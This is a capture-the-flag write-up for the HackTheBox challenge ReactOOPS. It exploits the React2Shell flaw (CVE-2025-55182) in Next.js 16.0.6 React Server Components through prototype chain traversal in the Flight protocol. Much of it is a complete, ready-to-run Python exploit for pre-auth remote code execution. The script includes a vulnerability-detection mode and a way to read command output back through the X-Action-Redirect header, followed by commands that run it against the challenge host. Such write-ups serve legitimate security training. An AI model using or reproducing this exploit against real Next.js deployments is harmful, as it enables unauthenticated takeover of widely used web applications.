webfreehard

ReactOOPS

hackthebox

Task: exploit a Next.js 16.0.6 application with React Server Components. Solution: use the React2Shell vulnerability (CVE-2025-55182) to achieve pre-auth RCE via prototype chain traversal in the Flight protocol, exfiltrating command output through the X-Action-Redirect header.

$ ls tags/ techniques/
react2shellprototype_chain_traversalflight_protocol_exploitation

ReactOOPS - HackTheBox

Description

NexusAI's polished assistant interface promises adaptive learning and seamless interaction. But beneath its reactive front end, subtle glitches hint that user input may be shaping the system in unexpected ways. Explore the platform, trace the echoes in its reactive layer, and uncover the hidden flaw buried behind the UI.

Target: http://83.136.255.53:40960

Analysis

Initial Reconnaissance

  1. Downloaded and extracted challenge files (password: hackthebox)
  2. Analyzed source code structure - standard Next.js application with React Server Components

Key Discovery in package.json

{ "name": "react2shell", "version": "1.0.0", "dependencies": { "next": "16.0.6", "react": "^19.0.0" } }

Critical indicators:

  • Package name react2shell - direct hint to the vulnerability!
  • Next.js version 16.0.6 (vulnerable: < 16.0.7)
  • React 19.x with Server Components enabled

Vulnerability Identification

The package name pointed directly to CVE-2025-55182 (also known as CVE-2025-66478):

  • Name: React2Shell
  • Type: Pre-authentication Remote Code Execution
  • CVSS Score: 10.0 (Critical)
  • Affected: Next.js < 16.0.7 with React 19.x Server Components

Root Cause

The vulnerability exists in React's Flight protocol implementation (ReactFlightReplyServer.js). The getOutlinedModel() function lacks a hasOwnProperty check when traversing object paths:

// Vulnerable code in getOutlinedModel() for (let i = 1; i < path.length; i++) { value = value[path[i]]; // No hasOwnProperty check! }

This allows an attacker to traverse the prototype chain using references like $1:__proto__:then, which:

  1. Accesses Chunk.prototype.then
  2. Enables code execution via the Function constructor
  3. Achieves RCE through child_process.execSync()

Solution

Exploit Mechanism

The exploit works by:

  1. Sending a POST request to any endpoint
  2. Using Next-Action: dontcare header (any value works)
  3. Sending multipart form data with malicious JSON payload
  4. Leveraging prototype pollution: $1:__proto__:then -> Chunk.prototype.then -> Function constructor
  5. Executing commands via child_process.execSync()
  6. Capturing output via X-Action-Redirect header using NEXT_REDIRECT error

Payload Structure

#!/usr/bin/env python3 """ React2Shell CVE-2025-55182 Exploit Pre-auth RCE in React Server Components (Flight Protocol) """ import requests import sys import re from urllib.parse import unquote def exploit(target_url, command): # Payload uses NEXT_REDIRECT error to exfiltrate command output prefix_payload = ( f"var res=process.mainModule.require('child_process').execSync('{command}')" f".toString().trim();throw Object.assign(new Error('NEXT_REDIRECT')," f"{{digest: `NEXT_REDIRECT;push;/login?a=${{res}};307;`}});" ) # Malicious JSON exploiting prototype chain traversal part0 = ( '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,' '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"' + prefix_payload + '","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}' ) # Multipart form data boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW" body = ( f"--{boundary}\r\n" f'Content-Disposition: form-data; name="0"\r\n\r\n' f"{part0}\r\n" f"--{boundary}\r\n" f'Content-Disposition: form-data; name="2"\r\n\r\n' f"[]\r\n" f"--{boundary}--\r\n" ) headers = { "Content-Type": f"multipart/form-data; boundary={boundary}", "Next-Action": "dontcare", # Any value works "Accept": "text/x-component", } response = requests.post(target_url, headers=headers, data=body, allow_redirects=False) # Extract command output from X-Action-Redirect header redirect = response.headers.get("X-Action-Redirect", "") match = re.search(r'\?a=([^;]+)', redirect) if match: return unquote(match.group(1)) return None def detect(target_url): """Check if target is vulnerable""" result = exploit(target_url, "echo VULNERABLE") return result and "VULNERABLE" in result if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <url> [command]") print(f" {sys.argv[0]} <url> --detect") sys.exit(1) url = sys.argv[1] if len(sys.argv) > 2 and sys.argv[2] == "--detect": if detect(url): print("[+] VULNERABLE to React2Shell (CVE-2025-55182)") else: print("[-] Not vulnerable or unreachable") elif len(sys.argv) > 2: result = exploit(url, sys.argv[2]) if result: print(result) else: print("[-] Exploit failed") else: print("[-] Please specify a command or --detect")

Exploitation Steps

# Step 1: Detect vulnerability python3 exploit.py "http://83.136.255.53:40960" --detect # Output: [+] VULNERABLE to React2Shell (CVE-2025-55182) # Step 2: Enumerate filesystem python3 exploit.py "http://83.136.255.53:40960" "ls -la /app" # Step 3: Get the flag python3 exploit.py "http://83.136.255.53:40960" "cat /app/flag.txt"

Key Indicators

Use this technique when you see:

  • Next.js application with version < 16.0.7
  • React 19.x with Server Components enabled
  • Package names or hints containing "react2shell"
  • Flight protocol endpoints (text/x-component content type)
  • Next-Action header handling

References

Key Takeaways

  1. Package names matter: In CTF challenges, package names often contain direct hints (react2shell -> React2Shell vulnerability)
  2. Version checking is critical: Always check for recent CVEs when dealing with specific framework versions
  3. New features = new attack surface: React Server Components introduced the Flight protocol, which created new exploitation opportunities
  4. Pre-auth RCE is devastating: No authentication required - any attacker can execute arbitrary code
  5. Prototype pollution in JS: JavaScript's prototype chain continues to be a source of critical vulnerabilities

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups